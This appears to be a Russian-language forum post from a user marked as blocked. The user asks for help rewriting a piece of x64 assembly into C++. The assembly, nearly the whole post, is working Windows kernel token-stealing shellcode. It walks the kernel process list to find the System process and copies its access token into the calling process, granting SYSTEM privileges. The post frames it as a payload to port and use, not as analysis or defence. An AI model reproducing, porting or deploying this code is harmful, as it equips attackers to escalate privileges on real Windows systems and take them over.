Пожалуйста, обратите внимание, что пользователь заблокирован
Здравствуйте. кто может помочь ? переписать код asm на С++.
Код:
;priv.asm
;grant SYSTEM account privileges to calling process
[BITS 64]
start:
; db 0cch ;uncomment to debug
mov rdx, [gs:188h] ;get _ETHREAD pointer from KPCR
mov r8, [rdx+70h] ;_EPROCESS (see PsGetCurrentProcess function)
mov r9, [r8+188h] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system_proc:
mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId
cmp rdx, 4 ;process with ID 4 is System process
jz found_it
mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer
cmp rcx, r9 ;see if back at list head
jnz find_system_proc
db 0cch ;(int 3) process #4 not found, should never happen
found_it:
mov rax, [rcx+80h] ;offset from ActiveProcessLinks to Token
and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
mov [r8+208h], rax ;replace current process token with system token
ret